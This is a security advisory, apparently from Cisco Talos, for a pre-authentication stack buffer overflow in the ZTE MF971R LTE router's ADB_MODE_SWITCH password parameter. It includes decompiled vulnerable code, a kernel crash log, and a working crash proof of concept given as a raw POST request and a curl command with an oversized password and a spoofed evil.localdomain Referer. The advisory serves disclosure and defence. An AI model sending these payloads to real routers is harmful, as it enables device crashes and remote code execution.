CVE-2021-21748
An exploitable Stack Based Buffer Overflow vulnerability exists in ZTE MF971R LTE router version wa_inner_version:BD_PLKPLMF971R1V1.0.0B06. A specially-crafted HTTP request can cause a stack-based buffer overflow which can lead to remote code execution. An attacker needs to provide a URL to the victim to trigger the vulnerability.
ZTE Corporation MF971R wa_inner_version:BD_LVWRGBMF971RV1.0.0B01
ZTE Corporation MF971R wa_inner_version:BD_PLKPLMF971R1V1.0.0B06
ZTE Corporation MF971R zte_topsw_goahead - MD5 B2176B393A97B5BA13791FC591D2BE3F
ZTE Corporation MF971R zte_topsw_goahead - MD5 bf5ada32c9e8c815bfd51bfb5b8391cb
https://www.ztedevices.com/pl/product/zte-mf971r/
9.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
CWE-121 - Stack-based Buffer Overflow
MF971R is a portable router with WIFI support and LTE/GSM modem.
This vulnerability is present in ADB_MODE_SWITCH
API related code, which is a part of the ZTE MF971R web applications.
A specially-crafted URL sent by an attacker and visited by a victim can lead to a stack-based buffer overflow and result in remote code execution.
A password
parameter being a part of ADB_MODE_SWITCH
API is not properly sanitized in a context of its length.
Let us take a closer look at the vulnerable code:
Line 1 int __fastcall handler_ADB_MODE_SWITCH(websRec *web)
Line 2 {
Line 3 const char *password; // r5
Line 4 char *v4; // r1
Line 5 websRec *v5; // r0
Line 6 char cmd[272]; // [sp+8h] [bp-110h] BYREF
Line 7
Line 8 memset(cmd, 0, 0x100u);
Line 9 if ( !web )
Line 10 return zte_syslog_append(6, 454435, 5302, 0, "wp is null.");
Line 11 password = (const char *)get_value_of_param(web, "password", 378987);
Line 12 zte_syslog_append(6, 454435, 5307, 0, "zte_device_adb_mode_switch:[password] is [%s].", password);
Line 13 if ( *password )
Line 14 {
Line 15 if ( auth_mac((int)password) )
Following the password
parameter further we land inside the auth_mac
function of the libzteencrypt.so
library:
Line 16 int __fastcall auth_mac(char *password)
Line 17 {
Line 18 int v2; // r4
Line 19 char *decrypted_password; // r5
Line 20 size_t out_size; // [sp+4h] [bp-454h] BYREF
Line 21 char mac[4]; // [sp+8h] [bp-450h] BYREF
Line 22 char local_buff[60]; // [sp+Ch] [bp-44Ch] BYREF
Line 23 char hex_password[1040]; // [sp+48h] [bp-410h] BYREF
Line 24
Line 25 out_size = 0;
Line 26 memset(hex_password, 0, 0x400u);
Line 27 my_string_to_hex(password, hex_password, &out_size);
The vulnerability manifests directly inside the my_string_to_hex
function:
B6CBF000 - Image Base
B6CBF860
Line 28 size_t __fastcall my_string_to_hex(const char *password, char *hex_password, size_t *out_size)
Line 29 {
Line 30 signed int offset; // r4
Line 31 size_t result; // r0
Line 32 signed int strlen_2; // r5
Line 33 int v9; // [sp+0h] [bp-20h] BYREF
Line 34 int byte; // [sp+4h] [bp-1Ch] BYREF
Line 35
Line 36 offset = 0;
Line 37 v9 = 0;
Line 38 byte = 0;
Line 39 result = strlen(password);
Line 40 strlen_2 = result >> 1;
Line 41 *out_size = result >> 1;
Line 42 while ( offset < strlen_2 )
Line 43 {
Line 44 strncpy((char *)&v9, &password[2 * offset], 2u);
Line 45 result = sscanf((const char *)&v9, "%02X", &byte);
Line 46 hex_password[offset++] = byte;
Line 47 }
Line 48 return result;
Line 49 }
As we can see, at line 23
the hex_password
buffer to which our data is passed via the password
parameter will be copied/encoded. It can only contain 1040
characters.
Because the data passed in the password
parameter to my_string_to_hex
is treated as ASCII hex (two input bytes are converted into one output byte), to overflow the hex_password
buffer, the attacker needs to send at least 1040*2
characters.
Tests have shown that using 2080 characters, we are able to overwrite the return address.
The victim does not need to be logged-in to be affected by this vulnerability. The only constraint an attacker needs to pass is a referer check, which is easy to bypass and has been decribed in TALOS-2021-1317.
That remote pre-auth stack-based buffer overflow gives to an attacker full control on return address overwrite and can be turned into arbitrary remote code execution.
Kernel panic - not syncing: Fatal sig=11 on 'zte_topsw_goahe' pid=729
[520668.743835]
[520668.752990] CPU: 0 PID: 729 Comm: zte_topsw_goahe Tainted: P 3.10.33 #1
[520668.760772] [<c001fa80>] (unwind_backtrace+0x0/0xf4) from [<c001d338>] (show_stack+0x10/0x14)
[520668.769439] [<c001d338>] (show_stack+0x10/0x14) from [<c002d750>] (panic+0xfc/0x260)
[520668.777313] [<c002d750>] (panic+0xfc/0x260) from [<c003df30>] (get_signal_to_deliver+0x708/0x80c)
[520668.786315] [<c003df30>] (get_signal_to_deliver+0x708/0x80c) from [<c001ca90>] (do_signal+0x41c/0x4dc)
[520668.795745] [<c001ca90>] (do_signal+0x41c/0x4dc) from [<c001ccc0>] (do_work_pending+0x54/0xa4)
[520668.804473] [<c001ccc0>] (do_work_pending+0x54/0xa4) from [<c0009100>] (work_pending+0xc/0x20)
[520668.813171] EMMD: ready to perform memory dump
[520668.817749] ======== dump PCSR for cpu0 ========
[520668.822448] PCSR of cpu0 is 0xc0027880
[520668.826293] PCSR of cpu0 is 0xc00278b0
[520668.830169] PCSR of cpu0 is 0xc00278b0
[520668.834014] PCSR of cpu0 is 0xc00278b0
[520668.837890] PCSR of cpu0 is 0xc00278b0
[520668.841735] PCSR of cpu0 is 0xc00278b0
[520668.845581] PCSR of cpu0 is 0xc00278b0
[520668.849456] PCSR of cpu0 is 0xc00278b0
[520668.853607] Loading crashdump kernel...
[520668.857574]
[520668.859161] current proc: 729 zte_topsw_goahe
[520668.863616] -----------------------------------------------------------------------------------
[520668.872406] pid uTime sTime exec(ns) stat cpu task_struct
[520668.879913] -----------------------------------------------------------------------------------
[520668.888793] 729 204759 101083 520668743011470 R(0) 0 c4156000 zte_topsw_goahe
[520668.897460] [<c001fa80>] (unwind_backtrace+0x0/0xf4) from [<c001d338>] (show_stack+0x10/0x14)
[520668.906127] [<c001d338>] (show_stack+0x10/0x14) from [<c04e4864>] (dump_task_info+0x104/0x14c)
[520668.914855] [<c04e4864>] (dump_task_info+0x104/0x14c) from [<c006fdec>] (panic_flush+0xbc/0x178)
[520668.923797] [<c006fdec>] (panic_flush+0xbc/0x178) from [<c00701f0>] (crash_kexec+0x10/0xa0)
[520668.932250] [<c00701f0>] (crash_kexec+0x10/0xa0) from [<c002d76c>] (panic+0x118/0x260)
[520668.940307] [<c002d76c>] (panic+0x118/0x260) from [<c003df30>] (get_signal_to_deliver+0x708/0x80c)
[520668.949401] [<c003df30>] (get_signal_to_deliver+0x708/0x80c) from [<c001ca90>] (do_signal+0x41c/0x4dc)
[520668.958831] [<c001ca90>] (do_signal+0x41c/0x4dc) from [<c001ccc0>] (do_work_pending+0x54/0xa4)
[520668.967559] [<c001ccc0>] (do_work_pending+0x54/0xa4) from [<c0009100>] (work_pending+0xc/0x20)
[520668.976348] -----------------------------------------------------------------------------------
[520669.119689] KERNEL-TEXT-CRC: orig/panic = 0x74c2/0x4493
[520669.124999] RAMDUMP STARTED
[520669.127899] RAMDUMP pa=0xe00400, signature 0x41434452 placed on va=0xc0e00400
[520669.135162] RAMDUMP DONE
[520669.137786] EMMD: done
[520669.140258]
[520669.140258] ---
[520669.140258] [KR] Panic in zte_topsw_goahe: Fatal sig=11 on 'zte_topsw_goahe' pid=729
[520669.140258] !Bad Kernel CRC!
[520669.140258] ---
[520669.140258]
[520669.157897] Rebooting in 3 seconds..
[520672.177337] do not hold CP in do_wdt_restart!!!
[520672.182159] Reboot failed -- System halted
Request
POST /goform/goform_set_cmd_process HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: http://evil.localdomain/127.0.0.1.html
Content-Length: 2438
Connection: close
goformId=ADB_MODE_SWITCH&password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
or
curl -v -i --referer http://evil.localdomain/127.0.0.1.html -d "goformId=ADB_MODE_SWITCH" -d "password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "http://192.168.2.1/goform/goform_set_cmd_process"
The attached HTML poc has a more realistic scenario where a user is redirected via a malicious webpage.
2021-06-15 - Vendor disclosure
2021-09-14 - Disclosure extension granted
2021-10-15 - Vendor patched
2021-10-18 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.